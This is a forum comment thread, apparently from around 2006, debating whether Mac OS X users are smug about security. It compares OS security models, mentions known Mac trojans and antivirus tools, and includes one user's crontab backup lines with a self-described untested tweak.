you two kewl keys above to get you started. Use ClamXav and Paranoid Android, for FREE! and tell the 'You're So Smug!' rectal pores to shut the hell up and worry about their own multitudinous security problems.

WTF is this Eicar crap?

[jred]

Totally thrashed my C=64, you damn hacker!!!!

I was doing so good, too. Almost 15 years virus-free, and you hooligans have to screw it all up.

you'd be smug too if

[Anonymous Coward]

you'd been running OS X since 10.0.0 with absolutely no security issues occuring at all. Mac OS X is damn secure. deal with it.

Re:you'd be smug too if

[Ash-Fox]

Mac OS X also includes the Safari web browser. Multiple vulnerabilities have been found in this browser and in certain cases exploit code has also been posted publicly.

Apple frequently issues Mac OS X cumulative security updates that tend to include fixes for a large number of vulnerabilities with risk ratings ranging from critical to low. This complicates the tracking of vulnerabilities for this OS, and the best way to ensure security is to apply the latest cumulative patch

From SANs top20.

Re:MacOS X itself?

[j-beda]

Proof of concept exploit: http://news.zdnet.com/2100-3513_22-5189335.html?ta g=zdfd.newsfeed

Yep, Mac OS X can be hit with a Trojan not a big suprise there. Symantec has some info on this 'MP3Concept Trojan Horse', which is benign. It does use a neat trick to imbed the code in an MP3, but other than that it isn't that special. Tricking someone to run your program isn't really something that we will ever make impossible under every circumstances, but I will admidt that using filename extensions to identify file types is one very stupid thing that Mac OS X copied from Windows, and then hiding them by default only compounds the stupidity.

Exploit, infections from not known: http://www.macintouch.com/opener.html

But "opener" requires a previously comprimized system. A "rootkit" without a viable delivery mechinism isn't really a "virus" or "worm" or even a "trojan". Acording to McAfee: "This threat does not make use of an exploit, so to have the script run successfully on a system and make changes, the user account from which the script is run must have sufficient rights. If no superuser/root/admin access is available many of the subroutines will fail and generate errors." I don't know why McAfee classifies it as a virus/worm since it doesn't seem to have any propagation abilities.

In Wild exploit, known infections: http://news.zdnet.co.uk/internet/security/0,390203 75,39155837,00.htm

True, the exploit mentioned is a tricky thing (potentially allowing code that was downloaded to be run as trusted), however I don't know if any was ever found in the wild - and even then it would still require an administrator's password to do system damage. The "hole" was supposedly patched by Apple's Security Update 2004-06-07 according to Unsanity who had released a little application to guard against the exploit.

If those are the only ones you've found, you haven't really shown any "exploit[s] for a Mac OS X vulnerability", although the MP3Concept Trojan I guess uses some "social hacking" types of tricks that would also work in Windows by hiding that it is an application rather than an mp3 file. Even if we accept a count of 3 (or ten or twenty), Mac OS X would still be comparitively malware-free.

NOT dead on

[tcampb01]

Though there is some merit due to the fact that no computer or OS is ever completely safe, the Mac is vastly safer than Windows and it certainly isn't because Mac's are so outrageously rare that no unscrupulous hackers own one and it also isn't because unscrupulous hackers are so noble that their honor prevents them from writing malware for the Mac. If you believe that, you are deluded. (Of course if you are right then it's all the more reason to buy a Mac!)

So why haven't Mac's seen their fair share of malware?

It is because the OS is simply more secure by design. Are there flaws in that design? Of course there are. But I think the reason reason is more non-technical.

Just try to run and administer a Windows box securely. It's extremely hard to do. A knowledgable security person can do it with a great deal of effort -- but the average home consumer sure can't. You'll also rapidly discover that not all, but a substantial quantity of Windows software is written with the assumption that applications are installed by the same users who will be running them or that all users have administrative rights all the time. The Windows developer community has this flawed mentality and the OS paradigm does very little to enforce a more secure model.

Mac OS X, in contrast, has a completely different security and usage paradigm. Use a Mac and you'll quickly discover that the OS assumes that the OS should live in one part of the filesystem, installed apps in another, and users should only modify files that are found in their home directories -- further, no user is an admin. Even administrative users run unprivileged and have to type their password to perform administrative actions. Developers with any experience on a Mac quickly learn this paradigm. There are exceptions and I have found them, but they are uncommon on the Mac whereas they are quite common on Windows.

There are so many technical reasons why the Mac is more secure, but the underlying non-technical reason is because (a) developers and users alike are basically lazy and will follow the path of least resistence and (b) the path of least resistence on Windows is to not bother with security at all whereas the path of least resistence on the Mac is to actually have a more secure installation... the OS & it's tools actually make doing this seem quite natural.

Bottom line: The average non-technical Windows user really cannot maintain a secure machine and Microsoft's OS paradigm does little to encourage secure devopment practices. The average non-technical Mac user actually can maintain a fairly secure machine without really knowing what they're doing... and that's because the OS makes it easy for both the users and the developers to have good security habbits.

Mac user's should be a little paranoid, but the OS is vastly more secure. While we'll probably get a small number of malware problems, it'll never come close to approaching the scale of security problems enjoyed by Windows users.

Meanwhile, back in reality..

[mstone]

This article is what happens when someone gets so carried away with general principles that they lose touch with observed reality.

I'm a Mac user. I know that any OS can be cracked with sufficient effort. I know that viruses, trojans, and malware are a risk, in the general, theoretical sense. I also know that the number of actual, observed OSX exploits has been very low for a good long time.

I don't assume OSX's security is perfect, but I do know that it has a history of being pretty darned good. I know that Apple has built two or three layers of security into OSX (unix access controls and best practices, easy automated patching, and GUI-level alerts like, "The file you're downloading contains a program, are you sure you want it?" and "This program is trying to launch for the first time, do you want it to?"), and history suggests that their strategy works.

I also know that most security software breaks down into two basic feature sets: one set maintains a collection of best practices, access controls, and patch automation that keeps machines from getting infected in the first place, and the other set scans for known viruses to catch anything that got past the 'prevention' layer.

Well, the 'prevention' stuff already built into OSX, and since there are no known viruses for OSX currently in the wild, installing a signature checker would be a waste of time. And once again, history suggests that Apple's prevention strategy seems to be working pretty well.

If you want to talk about improving a Mac's security, don't just wave the "Oooh, it's coming.. booga booga" FUD-stick in my face. Show me how the current set of OSX tools and policies can be beaten, or show me some other set of tools or policies that have a better track-record at preventing infection. As of today, the risk of getting a virus under OSX is significantly lower than the risk of getting hit with a Windows virus before the AV vendors publish a signature that will catch it.

Right now, my observed risk of infection is practically nil. Right now, OSX's default security policies give better results than anything in the Windows market. Right now, I don't know of any products that will lower my risk of infection so much further that they'll be worth the time, money, effort, or computing resources I'd devote to them.

And I remain steadfastly unimpressed by abstract "if you think your security is good enough, it isn't good enough" lines of reasoning. Every security policy accepts some level of risk. Every security policy ends up saying, "well, I guess that's good enough," somewhere. If you don't like where I've drawn the line, show me a better place to draw it, and show me that doing so will be cost-effective in some way. If you can't, I'm gonna call FUD.

Re:Meanwhile, back in reality..

[Ash-Fox]

> the 'prevention' stuff already built into OSX, and since there are no known viruses for OSX currently in the wild, installing a signature checker would be a waste of time. And once again, history suggests that Apple's prevention strategy seems to be working pretty well.

Hmm.. Would that be that the hardware is too expensive for malicious users to run a pirated copy of the OS?

That might change...

Re:Meanwhile, back in reality..

[argent]

GUI-level alerts like, "The file you're downloading contains a program, are you sure you want it?" and "This program is trying to launch for the first time, do you want it to?"

This is actually a step backwards in security. Internet Explorer on Windows now pops up some of the same dialogs, in many cases, and I have had several users come to me multiple times saying "I clicked on 'yes' accidentaly and now I think I have a virus"... because these dialogs come up often enough that people get trained into automatically clicking "yes". I've never had anyone come to me more than once with a story like "I downloaded a file, and then I opened it, and now I think I have a virus"... because downloading a file and opening it are sufficiently separate operations that you don't get trained into automatically clicking "open"... even in a download manager rather than on the desktop.

It would be much better for Safari to NOT automatically open downloaded files, and for LaunchServices to force applications that wanted to be treated as helpers for downloaded files to explicitly register as such, so that by default URLs like "x-man-page:" and "help:" would only be usable by applications directly rather than having the browser assume that any registered application was safe.

More important is that the browser has no built-in mechanism to perform unsafe actions, so it isn't possible to trick it into thinking a document is in a more trusted "zone" and automatically running it as a local user. The whole "security zone" model is so deeeply and fundamentally wrong that I'm still amazed Microsoft uses it.

Re:Meanwhile, back in reality..

[mstone]

OSX supplies adequate and novelty and separation of concerns.

Safari doesn't actually launch programs you download. It simply checks downloaded zipfiles and disk images for executables, and warns you if it finds anything. At worst, it will automatically extract the contents of such a file into your specified downloads directory, and that behavior can be turned off. Downloading files is a fairly rare event compared to simply surfing webpages, and many of the files people download contain pure data. The 'this download contains a program' dialog is rare enough to keep most people from clicking 'Yes' out of pure habit.

The 'this program is launching for the first time' dialog belongs to the Finder. Again, it's fairly rare, since most people don't install new software on a daily basis. If anything, I'd expect people to associate it with "I've just installed a new program or upgraded the OS," so having it pop up unexpectedly would be something of a shock.

Re:Meanwhile, back in reality..

[argent]

Safari doesn't actually launch programs you download.

Unless you disable the behaviour, Safari uses LaunchServices to open what it considers "safe" files, by calling the handler for that file type to open it. Unless the handler is not only a third-party application but has never been used before, there will be no warning dialog as you describe, and if there is a security hole in that handler it can be exploited with no warning to the user.

There have been multiple exploits of this kind. There will undoubtedly be more.

And, yes, I have had users go through exactly the same sequence of operations on Windows, get the dialog warning that the application may compromise their computer, and went ahead and opened it any way, and gotten infected. There are multiple live viruses in the wild that take advantage of this approach.

Luckily there is one advantage Safari has over IE, here: you can disable "Open Safe Files after Downloading" and it really gets disabled and doesn't get turned on again by "security fixes". There are other security flaws in IE that Safari doesn't share, much bigger ones, but this one is common to both. Turn off "Open Safe Files after Downloading", and be grateful you can.

Windows, Linux and OS X compared

[Qbertino]

I've been doing computer stuff for 20 years now so I won't go into technical details. Just this little comparsion:

1. Installation of system wide software on Windows:
Doubleclick install.exe.
Wait.
Reboot when promted.

2. Installation of system wide software on Linux
(KDE, but works with any other Desktop):
Click install.bin. No reaction.
Open CLI, run ./install.bin to read reaction. Notice lack of execution rights due to INet download. Change rights in context menu. Click install.bin. No reaction.
Type ./install.bin to read reaction. Notice user permission problem.
Switch to su.
Run install.bin.
Wait.
Exit su upon prompt.

3. Installation of system wide software on Mac OS X (Tiger)
Get promted upon download with something like "This may be a program, do you really want to download it?"
Confirm.
Doubleclick the installer.
Get promted about su access requirement.
Confirm continue.
Enter su password in neat OS X su permission popup.
Wait.
Click away finish message.

Do you see any pattern?
(Hint: Number 2 and 3 are simular)

Personally, I think of OS X as a unix variant with minimum hassle, zero hardware compatability issues and some nice extras such as neat looking cigar box cases and an interessting range of commercial software offerings. It plain lacks the PC hardware and driver crappiness.

That's why I ditched Linux as main working OS after 3 years of sole professional Linux usage.

The bitter truth is, security wise Windows isn't even in the same ballpark as the entire unix lot. It's a gaming BIOS with severe security issues due to a substancial inert insecure-by-design problem. Vista will probably change this (they have to), but until today windows and it's standards of usage are nearly a decade behind in basic security.

Bottom line:
When it comes to security, Mac OS X is - simply put - Debian Linux or OpenBSD without the PITA factor.

AV ? What for ?

[pdoucy]

[...] what actual products exist for OS X that would protect against infections?

Except if I work for an anti-virus editor, why should I need to buy some extra software to keep my box secure ?
That might seem incredibly naive, but I don't see any reason why I should trust an OS vendor that basically says I have to buy someone else's software because he's not able to write secure code.
Maybe basic security measures are useful anyway, like the use of a firewall, but my OS doesn't open dozens of ports without my knowing...
The biggest security flaw, in my opinion, is the guy who opens emails titled "I'm a gorgeous girl and I want to have sex with you..."

ClamAV

[xenoterracide]

doesn't ClamAV work on Mac? I really don't know. but I would think it's close enough to UNIX that it would.

The "Hardware-Compatibility" issue

[mstroeck]

Windows Vista (with the NT Core) will also bring the root/admin abstraction to the Windows World. MS should had done this with WindowsXP, but instead choose compatibility for older applications.MS truly isn't stupid about security, nor is Windows. But Windows has to do something OSX doesn't. It has to support a staggering amount of hardware configurations (without conflicts), and a staggering amount of third party software, and then add in that it is the most targeted Operating System for hackers.

That's bullshit, and you know it. Are you really saying that Windows runs on more hardware configurations and architectures than any flavor of BSD? Are you really saying that poor, poor Microsoft has to bend over for manufacturers who build crappy products and write bad drivers? Are you really saying that OS X has a monolithic plain-vanilla BSD kernel?

Because the answer to those three questions is "No!".

Re:The "Hardware-Compatibility" issue

[TheNetAvenger]

That's bullshit, and you know it. Are you really saying that Windows runs on more hardware configurations and architectures than any flavor of BSD? Are you really saying that poor, poor Microsoft has to bend over for manufacturers who build crappy products and write bad drivers? Are you really saying that OS X has a monolithic plain-vanilla BSD kernel?


Actually I am saying that... Windows supports more hardware including peripherials than any other OS in history by a very large magnitude.

I was not referring to the base architecture, but the vast amount of not only the hardware it runs on but also has to support reliably.

I have 5 devices in my office alone that have NO support in BSD, and these are not ancient or abstract devices.

Now, address my entire point. MS also has to cater to the LARGEST 3rd party Application support in the world. There are literally 100s of millions of programs written for Windows.

On the software side, this is why you will find that WindowsXP is more stable than even Windows 2000, as it not only has better compatibility for these mass 3rd party applications, but it also has some clever tools built into the OS from multiple DLL isolation, to even catching offending calls from poorly written Applications, and redirecting the call - as to not crash the poorly written application, nor allow it to interfere with another process. For the last example Win2k would just terminate the poorly written application, WindowsXP corrects what it was doing wrong and lets it continue to run.

And BTW this is OS technology that doesn't even exist in other OSes, even BSD.

Everyone needs to get off the MS is crap wagon once and for all.

Sure they have done some suck stuff, but they have also done some remarkable stuff if looked at objectively.

Additionally, even if you find MS's work to be of the devil, it is going to be a part of the consumer markets for a while longer, NO MATTER what.

So it comes down to this, you either A) Support your ideals more than your fellow humankind by using your angst for MS against the Windows market - or B) You actually contribute to making computing better for everyone, even if they are Windows users.

If people here think they can really do better than MS or make Windows better, jump in, there are people that need your help NOW, not in 5 years when there is the possibility of another OS becoming the leader.

nVIR cost me a letter grade

[ekc]

Grr...nVIR.

That the most costly virus I have ever encountered on the Mac. At the time, I was working furiously on my Mac SE, writing a primitive GIS (geographic information system) as an alternative to the usual, mundane term paper. I couldn't get the thing to stop crashing and wound up submitting the program a week late. I had to settle for a B instead of an A, and it turned out the crashing was caused, not by bad coding or Think C bugs as I had assumed, but by the nVIR virus. A quick run of Disinfectant and all was well, except for my marks...

Actually, though, this raises an interesting point. Macs have always had a lesser market share than PCs; yet there were a number virii for the Mac back then. I remember another one (WDEF?) which kept bouncing around from machine to machine via infected floppies. While the virus problem seemed to get steadily worse on the PC, however, it got better on the Mac to the point that they seemed to vanish altogether by the time OS X was rolled out. Hmm...

Security through Obscurity again ?

[AlanAudio]

Like all technical journalists, Bill is obliged to put the 'Security through Obscurity ' myth into every article that refers to the absence of viruses on OS X.

It's rather inconvenient for him that at the same time, Microsoft released a security patch for Vista.

Yep - it's not out yet and they're already patching serious security issues.

So let's see. OS X has how many users ? Vista has how many users ?

Vista is massively more obscure than OS X, yet it's already needing urgent patching.

Obscurity AND insecurity is a new concept. How do they explain that ?

True, there is a big difference between 9x and NT

[brokeninside]

For example, if I want to run a relatively common application such as Quick Books, the user I run this package as must have admin rights while 9x users need not worry because all users have those rights.

The point being that, while you're correct that the NT kernel has quite a bit of security design, you neglect that Microsoft and its third party vendors have largely nullified the same security by not enforcing good security practices in the applications they release.

Market share and insecurity

[Qbertino]

We all know it: Market share an insecurity are directly related, because hackers go for market share. That's why Apache is such an exploit ridden piece of crap and IIS is known for it's remarkable security.
Oh, errrm, wait ...

I was smug....

[cyberworm]

I used to be kinda smug, and security was one of my key points when switching to OS X instead of Windows. I follow common sense rules, and have my machine pretty much locked down. One evening a friend brought over his windows laptop and connected to the network. Upon connecting, his firewall told him that a trojan was trying to access his computer. Being that there were only two computers on the network (his windows laptop and my powerbook) I (wrongly) assumed his firewall was misinterpreting my powerbooks attempts to look for shares on his computer. Well, after he left I went and downloaded ClamAV and did a scan. Sure enough, it found a trojan of some sort sitting on my hard drive. Ever since then, I run a scan once a week, just to be on the safe side. Anything can happy to anyone no matter how cautious you are. Granted I do play around on usenet a lot, so it wasn't totally shocking to me that I would eventually end up finding something.
I think as long as other mac users don't become complacent, the mac community as a whole will be more secure, regardless of their knowlege/experience with computers.

fanboy's vs users

[willCode4Beer.com]

I'd say only fanboy's say Linux is secure. Most Linux users, myself included, wouldn't.
I run my updater every week. I'd say about 90%+ of the updates are security related.
Is my system more secure than windows? probably
Do I think my sytem *is* secure? no

Re:Very true. But it works..... For now......

[Anonymous Coward]

My passion for my Mac is greater than my passion for living.

argh

[Creepy]

Somehow I erased part of my last sentence or maybe my thought train strayed - I do weekly backups of the /Users drive and monthly dd backups of the entire disk. It also cleans up the backups when disk space is low (I only keep one monthly around), so I hope I never get a long term infection ;)

if anyone's interested, the crontab entry fragment I use looks like this (minus my bash shell script for cleanup):
00 3 * * 0 tar cvfj /Volumes/backup/Users`date +%d%m%y` /Users &>/var/log/backup`date +%d%m%y`
30 3 1 * * dd if=/dev/rdisk0 of=/Volumes/backup/complete`date +%d%m%y` bs=524288 count=3000 &>/var/log/complete`date +%d%m%y`

that is a simple text file created using any text editor. The numbers mean, in order, minute, hour, day of month, month of year, day of the week, with * being a wildcard (any match). It's also possible to do a range, like 1-5 if you want Monday-Friday on the day of the week parameter (0=Sunday, 6=Saturday). use man crontab for more info. You install it with sudo crontab yourtextfilename from a command line if you want it to record as root (otherwise it crons as your username and if your user files get wiped out, your backup will as well).

Note that I have a second hard disk called 'backup' and it is owned by root. Currently it does not compress the dd files but I suspect you can do this by adding something like this to the dd line:
| xargs tar xvfj complete`date +%d%m%y`.tar.bz2
and probably also ;rm -rf complete`date +%d%m%y` to remove the uncompressed file at the end. Maybe even an &>/dev/null
I haven't tried the above yet, so I'm speculating.

also, I probably will get rid of the bash script and replace it with an entry that sorts and finds the oldest but I want to do this without a temp file, which is what I'm doing now (and using sort).

Re:argh part 2

[Creepy]

make that | xargs tar cvfj complete`date +%d%m%y`.tar.bz2

ever have one of those days?

Re:MacOS X itself?

[dzfoo]

>> Think about it, if you were going to write a virus to screw with the world, would you spend time finding a way to infect 5% of the world's computers or the other 95%?

Think about this, if you were going to write a virus to screw up with the world, would you spend time finding a way to infect the same computers that *every* script kiddie and their dog has been -- and is still trying to -- infect, and get lost in the crowd; or would you rather spend the effort writing one of the *very* few Mac OSX/*NIX viruses, and become a legend?

You know, I think "The guy who brought Mac OSX to its knees, and wiped the smug smile off its users' faces" sounds pretty appealing :)

I wonder why it hasn't happened... Oh yeah, marketshare. Right.

      -dZ.

PC are better protected in corporate environments

[klubar]

But corporate systems tend to be better protected (especially in bank/financial services). Most enterprise/corporate systems are protected by firewalls, IDS and other other permeter measures. Windows systems are almost always part of a domain which makes it easier for corporate administration/policies.

There aren't many corporations/enterprises (> 500 employees) with large percentage of Macs deployed. The options for corporate adminstration of Macs are much more limited. Even if they can associate with a domain, you can't remotely control policies.

Most of the hacked systems are poorly patched home users.

undetected?

[willCode4Beer.com]

If 5% of users are Mac, then how many people are looking for malware on the mac?
How many people are looking for windows malware? A few hundred, maybe? They don't find all of the malware that's around for windows. They mostly find the malware thats poorly written and consumes lots of bandwidth. Well written malware goes around for a long time undetected. If there are only a few hundred people looking for virii/malware/trojans on windows, then there is probably only a handful looking for these on Macs.
If there aren't many people looking for malware on Mac then there won't be much found.

Trust

[Mikey-San]

This subject comes up once in a while on Apple Discussions. The threads mostly consist of a couple of people saying that in general, Mac users are too arrogant when it comes to security issues, and everyone else saying that's a bunch of crap.

The following is a reposting of portions of a comment I made in one of these threads last year. Needless to say, few agreed. Oh well. Natural selection? Here's the beef:

A note about security, trust, and automobile salesmen.

There is no amount of security that can supplant the need for trust. Mac users who take the arrogant, uninformed stance that we're safe as long as we don't do X and Y only add to the potential field day a future piece of malicious code is bound to have.

You're good against X and Y, because you know about them. But you don't know about factor Z, because you don't know what you don't know.

When you buy a car, is it possible to inspect every single bolt, belt, and wire? No. You have to trust that the person selling you the car is here to make a happy customer out of you, and not a motor vehicle accident at 50MPH after the brakes failed from his malicious modifications.

You have to trust that your source isn't out to do harm.

I know several people who've used p2p software on Windows to download commecial software illegally and were absolutely crippled by viruses. Sure, Windows might indeed be less secure than Mac OS X, but does that mean the same scenario isn't possible under some circumstances that aren't hitherto known? No, it doesn't.

The source(s) of my friends' illegal software was dubious at best; untrustable. They got burned. Karma? Perhaps. Poor foresight? At least.

Without an administrator's password, there is still plenty of damage or intrusion that can be done. Who cares about deleting the stuff in /Applications/Utilities when everything that's actually going to MATTER to the user at the end of the day resides in his or her home folder, where no authentication is needed to peek around and play with?

We trust Apple to ship copies of iPhoto that don't relay information to the government. In the event such a thing were actually to happen, someone would eventually find out and there would be heads on pikes, of course, but there would still be some level of damage done, not just to people's privacy and data, but to the reliability their software sources. I know I'd boycott any manufacturer that started giving my data en masse to any government.

Security doesn't come from code, but from education and trust.

You are completely right...

[Savage-Rabbit]

...better built...

A suprisingly little known side effect of buying a Mac is that within 48 hours your ph*llus grows two inches longer, or, if you are a female, your b**bs grow a couple of cup sizes. I wonder what happens when you buy a WinDell box or, perish the thought, a Sun Solaris system? Anybody????

Re:You are completely right...

[just_another_sean]

buy a WinDell box - You don't notice much difference at first, everything seems to work fine but after a few weeks everything starts to shrivel up and you find you have no sex drive left at all.

or, perish the thought, a Sun Solaris system?Perish the thought? When you get one of these puppies, well let's just say you better buy some new pants as well! (or bra, for the ladies).

Re:You are completely right...

[just_another_sean]

Man, my first Troll mod. I guess I forgot the tags!

Cowhand-A trojan for MacOS X

[Animats]

There are a few MacOS-X attacks in the wild. Cowhand-A was the most significant one of 2005. It's a Trojan, and it turns the computer into a proxy zombie for remote connections. It's primitive by Windows virus standards. It just installs a program in the startup folder, and makes no attempt to conceal itself.

So it's clearly possible to craft attacks for MacOS-X. But Mac market share is so tiny that few bother. Back before the PowerPC transition, when Apple had more market share, there were more Mac viruses. "Back in the late 1980s, viruses used to be a much bigger problem on Macs than on PCs. We here at F-Secure used to have an antivirus product for Mac but discontinued it after the macro viruses died out".

There have been some gaping holes in MacOS-X browsers that allowed execution of remote code. But nobody bothered to exploit them. Or so it is thought. There's always the possibility of quiet exploits that extract some useful information from the target, ship it somewhere, then clean up and exit.

A Demotivator for every occassion...

[bopo]

http://despair.com/pretension.html =)

Link...

[kiddailey]

Just in case anyone isn't in the mood to hunt it down, here's a few links for Little Snitch:

http://macupdate.com/info.php/id/10426
http://www.versiontracker.com/dyn/moreinfo/macosx/ 17642

Developer's Site:
http://www.obdev.at/products/littlesnitch/index.ht ml

A change of analogies

[Jay Random the Other]

You call a Mac user arrogant because he doesn't wear a belt, suspenders, and two coils of rope around his middle. But you see, his pants aren't falling down. Yours are. And they keep falling down no matter how many precautions you take. I think you need to have a talk with your tailor.

Macs Can't Have Viruses ?

[arjay-tea]

This may be wrong, but I read somewhere that Unix and its variants simply cannot have viruses, period. Only worms and trojans. This was supposedly due to their use of separate VM space for each process. Fact or urban myth?

Re:One product stops mac PCs from getting infected

[Niten]

Actually (on 10.4, anyway) one has to be in the admin group to have write privileges to the /Applications directory. But good point - even so, I would rather have to perform some kind of sudo to write to that directory at all, even if I am an admin user.

Protection?

[Cyno]

What protection?

What products exist for Windows that will protect against a new worm? What products exist that will protect against a known trojan in DRM?

When you buy anti-virus and anti-spyware software you're really just paying for insurance in case something bad happens. You're not preventing the natural disaster, just helping yourself clean up afterwards.

With OSX and Linux we've already done the work to prevent these disasters so the chances of running into a worm or trojan are far less likely.

This may requires a semi computer literate user base, so it may not be possible on Windows, but almost anyone who uses OSX and Linux "get it" which is why they are unconcerned about these threats.

The only thing you have to fear is fear itself. Remember that. Its so true.

Who's spreading the fear? Who's trying to make you affraid? What's their motive? Sometimes their only motive may be to make you feel as affraid as they already do.. Misery loves company.

Riiiiight because a worm isn't going after syslogd

[Omega]

Yes, because as we all know the really valuable data on the computer is the OS and installed programs. You know, the stuff that can be replaced in a few hours.

What do you think the worm is exploiting? Is it the user's custom shell script? His hand-made excel macros?

No, it's the bundled software (including parts of the OS). So, yes, the user data is more valuable than the prepackaged software, but having a copy of a frequently used program (say aim.exe) writable by anyone using the computer (instead of only the administrator and only immediately after the admin has entered his password) only helps viruses and worms propogate.

Something as simple as Unix file permissions on commonly used programs goes a long way toward data security.

Windows is fundamentally less secure

[argent]

Because of teh way that the HTML control has become the core of so many components, and because of the way the HTML control does not really know whether an object its displaying should be trusted or not, there's is a whole class of attacks that are possible on Windows that are not possible on any other platform. Even Internet Explorer on the Mac was more fundamentally secure than IE on Windows for this reason... basically, when the HTML control goes to display an object, it looks at the file or URL it came from and applies its knowledge of how applications that use the control behave (for example, it knows about the location of temp files, and mailboxes, and the Internet Explorer cache) to decide whether there was any possibility that the object might be untrusted. When this test fails, perhaps because some application puts temporary files in some unexpected place, what's known as a "cross zone" exploit can be implemented.

Every other browser defaults to treating ALL content as untrusted, and only allows shell programs and applications to *add* mechanisms to a *specific* instance of that browser. That's the only secure way to design a browser. Until Microsoft abandons the current design of the HTML control, changes the API so that applications are given control and responsibility for trust, and breaks the existing API, Windows will always be subject to far more problems than any other OS.

Mac Protection, exploits

[Anonymous Coward]

Sophos is one commercial vendor who distributes an anti-virus client package for the Mac. They also offer their server component for Mac, providing update and remote install/upgrade services. Sophos For OS X. While there are only a few viruses/worms/trojans in the wild at this time that can infect OS X, anti-virus software, for instance on a Mac based file server, can help protect machines running other operating systems.

In this geeks opinion, any OS that defaults the primary user on the system with super user access is going to be at least somewhat more prone to attack. Nasty critters enter systems quite often via way of email attachments, and the common users attraction to shiny things. No scripted-auto-execute-attachment-on-view hack to poorly written email clients is needed, nor is any privilege escalation exploit. The human behind the keyboard will perform that task for us. This is something that is very reasonably taken advantage of with OS X (as with Windows). In a business environment one would hope this has been addressed properly.

As for other remote exploits, SANS top 10 list for Mac OS X.

Mac OS X is far from un-exploitable. It's just not the biggest target on the battlefield... but getting bigger every day

I'm a daily Linux user. I also have a G4 under my desk running OS X, and have quite a bit of respect for the work Apple has done with Darwin (not so much with Aqua).

privilege escalation

[BlueStraggler]

With Linux, OS X the worst that could happen that way is a destroyed user account.

Not true. Most *nix hacks are compound hacks involving a series of privilege escalation attacks. The root attack surface is much larger from within a user account than from out on the net, so compromising user accounts is a necessary step for many rootkits. Fortunately, since the user account is a way-station to getting more useful work done, that means user account destruction is not on the hacker's to-do list. Unfortunately, it means that unprivileged user-account compromises are very much on the hacker's to-do list.

Even it it was true that destroyed user accounts are the most you have to fear, it is small comfort when most Linux and OS X boxes are single-user machines. At best it spares you from having to reinstall the OS, but after a serious hack, you're probably wise to do that anyway.

It's not about the Users - it's about the OS

[chad78]

Clueless users will get hit by crap all the time regardless of the platform. Clued users will not, again regardless of the platform.

Only a Sith speaks in absolutes. A cluesless user on a Mac goes to hackmycomputer.com and downloads the virus/malware/spyware of the day. It downloads to his desktop, and he double clicks on it. Guess what happens? Not a darn thing - becuase the file he downloaded was an EXE something that WON'T RUN ON A MAC. Viruses, Spyware, Adware, Trojans, Worms, Malware, etc., etc., etc. won't work on a Mac, regardless of the clued state of the user, because THEY AREN'T MAC PROGRAMS. The switch to the Intel chip set actually makes the Mac *MORE* secure, because of those 40 viruses for Mac OS 9 can't touch these machines, since Classic won't work on the new MacTels. Mac users are smug when it comes to security because they have, excuse me, *we* have every right to be. You can say "One day you'll be wrong" until you're blue in the face, but until we actually are PROVEN wrong - it's all just a bunch of hot air. I personally use Macs at work and on my desktop, and at home I use Linux and Windows. I've seen the security difference first hand. Windows, even with Antivirus, firewalls, and spyware blockers, I still have to remove bad stuff - Mac has never given me any kind of problems like that. Linux either. Mac is just prettier, has better 3rd party support, and works out of the box better than Linux. Mac OS X is the best OS ever writen (so far).

Can you elaborate on this point?

[argent]

OS9 was (and still is) a much more secure OS than OSX; it may well be amongst the most secure ever widely deployed by anyone.

Mac OS 9 has no local security at all: there's no mechanism in OS 9 to prevent any remote exploit from becoming a privileged exploit. How do you figure that it was "more secure" than OS X?

Re:Can you elaborate on this point?

[gordguide]

Try to break in, then.
Seriously, how would you do it? There's no command line to pipe commands or run scripts. OS9 uses a syntax for pathnames that differs from other OS's. You need to know that syntax, and you need to know you need to use it (ie know it's a System7~OS9 box in the first place).

The default install is "everything off". Services must be enabled.

If you have physical access to the box, you can turn on services, install enabling software, etc. It's rather easy to do, in that case. But not otherwise; configured properly there's not much you can do. It's even difficult to know you're talking to an OS9 server in the first place. Linux and Windows hacks do nothing at all, and that includes anything that would let you know it's not one of those OS's in a properly locked down state.

People have offered cash prizes and published the exact (static) address to Mac servers EG: http://db.tidbits.com/getbits.acgi?tbart=02166/, and kept their money. (If you read the linked article, the machine ran System 7.6.1; Open Transport is now at v2.6.1; the SYN and PoD exploits were closed in v1.2.0; released with OS8). There were other " hack-me contests" as well, and I know of none that had a single winner.

Certainly modern hackers know a bit more than they did when OS9 was current, but still, it's quite robust against remote exploit attempts. I personally know of no examples, but certainly that by itself doesn't mean it never happened.

With OSX Apple took a deliberate step towards what has the potential to be a less secure OS, and even though I think it was a step in the right direction, it's not universally better in all respects than what it replaced.

Re:Can you elaborate on this point?

[argent]

Try to break in, then. Seriously, how would you do it?

I haven't got an OS 9 box at hand, but I'd apply the same kinds of general techniques that I'd use to attack a Windows box, depending on the fact that all the major web browsers and email applications on OS 9 automatically open downloaded files and attachments. It's not quite as easy as shoving a code segment in a resource fork like you could in System 6, but it's still got a plethora of attack vectors.

Yes, it's unlikely at this date that anyone would bother... but that's got nothing to do with the security of the OS itself.

There's no command line to pipe commands or run scripts.

Applescript is far more powerful and versatile than command.com or cmd.exe, and consing up a little code segment to kick off an Applescript payload once you've got instructions under the CPU (either PPC code or 68000 code) isn't rough.

People have offered cash prizes and published the exact (static) address to Mac servers

"Hacker Challenges" tell you nothing about the security of the OS. I could set up a Windows box that had no exposed surface area on the Internet, and it would still be the same virus-reservoir so long as I was using Internet Explorer and Outlook and pounding on the keyboard like a monkey on crack... the way (in my experience) naive computer users (whether using Mac OS or Windows) are wont to do.

With OSX Apple took a deliberate step towards what has the potential to be a less secure OS

Or a more secure one. It doesn't ship with any non-local services enabled, it actually has local security, and it doesn't have as much legacy support even with Classic enabled and OS 9 installed. It could be used or abused in ways that can turn EITHER potential into reality, but it starts off from a sounder base.

Market share vs Security Model

[bryan314]

I keep hearing that the level of viruses in Microsoft is because of its popularity. If that is the case can someone please point me to the figures that back this up. I'd like to see the figures showing the relationship of an OS's market share to the percentage of viruses. If Microsoft has 90% market share and 70k viruses and Mac has 2% market share does that mean Mac has 1000 to 2000 viruses? Does OSX even have 100 viruses? Does the popularity of an OS invalidate its security model? If Mac had 90% market share would it have 70k viruses. Linux? BSD?

Re:Market share vs Security Model

[ummit]

It's a feeble argument, no question, but we can't quite dismiss it out of hand. There's no reason to assume that the relationship between a platform's market share and its attractivemness to malware writers is linear. There could be a "magnifying" effect where because the platform is so popular, every malware writer (not just 90% of them, or whatever) goes for the more-attractive target.

